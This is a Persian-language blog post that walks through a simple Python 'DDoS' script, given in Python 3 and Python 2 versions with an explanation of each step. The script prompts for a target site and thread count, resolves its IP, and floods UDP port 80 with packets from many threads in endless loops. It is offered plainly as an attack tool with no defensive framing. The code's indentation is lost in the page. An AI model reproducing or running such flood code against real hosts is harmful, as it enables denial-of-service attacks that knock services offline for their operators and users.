کدنویس۲۱

کدنویس۲۱

با کد نویس 21 کد نویس باشید.
کدنویس۲۱

کدنویس۲۱

با کد نویس 21 کد نویس باشید.

اسکریپت دیداسر پایتون

سلام دوستان در این پست می خواهیم با Python یک دیداسر ساده بسازیم.

 

 

قبلاَ در این پست یک دیداسر با سی پلاس پلاس ساخته بودیم. امیدوارم با حملات DDOS آشنا باشید.

#Python 3
#Mehrad Pooryoussof
#www.CodeWriter21.blogsky.com
import time
import socket
import sys
import _thread


site = input("Enter your site url => ")
thread_count = input("Enter your thread => ")

ip = socket.gethostbyname(site)

UDP_PORT = 80
MESSAGE = "CodeWriter21"
print("UDP target IP:", ip)
print("UDP target port:", UDP_PORT)
time.sleep(3)

def ddos(i):
while 1:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(bytes(MESSAGE,"UTF-8"), (ip, UDP_PORT))
print("Packet Sent")

for i in range(int(thread_count)):
try:
_thread.start_new_thread(ddos, ("Thread-" + str(i),))
except KeyboardInterrupt:
sys.exit(0)

while 1:
pass

در کد بالا ابتدا آدرس سایت و تعداد Thread را می گیریم و در متغیر های site و thread_count قرار می دهیم. سپس آدرس را به آی پی تبدیل می کنیم و در متغیر ip ذخیره می کنیم. در متغیر UDP_PORT مقدار 80 که قرار است پورت مورد دی داس ما باشد را قرار می دهیم. پس از این آی پی و پورت را چاپ می کنیم و 3 ثانیه برنامه را متوقف می کنیم.

در تابع ddos یک حلقه بی پایان داریم که داخل آن یک socket تعریف می کنیم و یک پاکت ارسال می کنیم و با چاپ پیام اطلاع می دهیم.

حلقه for به تعداد thread_count اجرا می شود و هر بار تابع دیداس را در یک thread جدید اجرا می کند.


این هم کد برای کسانی که با Python2 کار می کنند.

#Python 2
#Mehrad Pooryoussof
#www.CodeWriter21.blogsky.com
import time
import socket
import sys
import thread


site = raw_input("Enter your site url => ")
thread_count = raw_input("Enter your thread => ")

ip = socket.gethostbyname(site)

UDP_PORT = 80
MESSAGE = "CodeWriter21"
print "UDP target IP:", ip
print "UDP target port:", UDP_PORT
time.sleep(3)

def ddos(i):
while 1:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(MESSAGE, (ip, UDP_PORT))
print"Packet Sent"

for i in xrange(int(thread_count)):
try:
thread.start_new_thread(ddos, ("Thread-" + str(i),))
except KeyboardInterrupt:
sys.exit(0)

while 1:
pass

تا کدی دیگر خدانگهدار

نظرات 1 + ارسال نظر
پشمک دوشنبه 20 بهمن 1399 ساعت 08:55 http://عمت

نئرتلصختقهتلتخمرلتقثمنتلقثتلمتثقنمتملقتقثنملقتمنثقاهختقثختقمنتثمتمثنلقتشقثهخنقثتامهثتنتلمهاتمهلتمنقتلمتقل

سلام پشمک عزیز لطفا مطالب پر معنی تری در نظرات قرار دهید

برای نمایش آواتار خود در این وبلاگ در سایت Gravatar.com ثبت نام کنید. (راهنما)
ایمیل شما بعد از ثبت نمایش داده نخواهد شد